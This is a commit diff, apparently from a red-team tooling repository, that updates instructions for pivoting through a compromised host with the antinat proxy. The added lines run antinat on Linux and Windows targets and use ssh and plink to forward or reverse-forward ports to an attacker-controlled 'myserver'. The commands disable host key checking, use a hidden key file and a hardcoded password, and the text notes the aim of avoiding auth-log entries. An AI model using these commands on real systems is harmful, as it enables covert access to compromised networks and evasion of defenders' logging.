Browse Source

Improved instructions

Giulio 1 year ago
2 changed files with 13 additions and 6 deletions
  1. 13 5
  2. 0 1

+ 13 - 5

@@ -38,22 +38,30 @@ ssh -D compromiseduser@ -p 2222 -fNT
 We can combine the `antinat` proxy with the above procedure in order not to login onn the ssh server and thus writing on the auth logs.
 Instead of using with the socks options, upload the provided package and directly forward the `antinat` port.
+./antinat -cantinat.xml
+ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -L -i /tmp/.keyfile -fNT targetname@myserver
 ## Windows
-Upload the package and extract it with 7z.exe.
+Upload the package and extract it.
-Start the antinat binary, no admin permissions are required:
+Start the `antinat` binary, no admin permissions are required:
-antinat.exe -a -cantinat.xml
+antinat.exe -a -cC:\temp\antinat.xml
-Forward the antinat port with plink:
+Forward the antinat port with `plink`:
-plink -ssh -noagent -pw "password" -L 32768: targetname@myserver
+echo y | plink -ssh -noagent -pw "wrongpassword" targetname@myserver
+plink -ssh -noagent -C -T -N -pw "password" -R targetname@myserver
+Putty natively supports SSH via HTTP and so does plink but it can only work via cli if a preconfigured session already exist. [More info](
 ## Tips

+ 0 - 1

@@ -1 +0,0 @@
-TODO corkscrew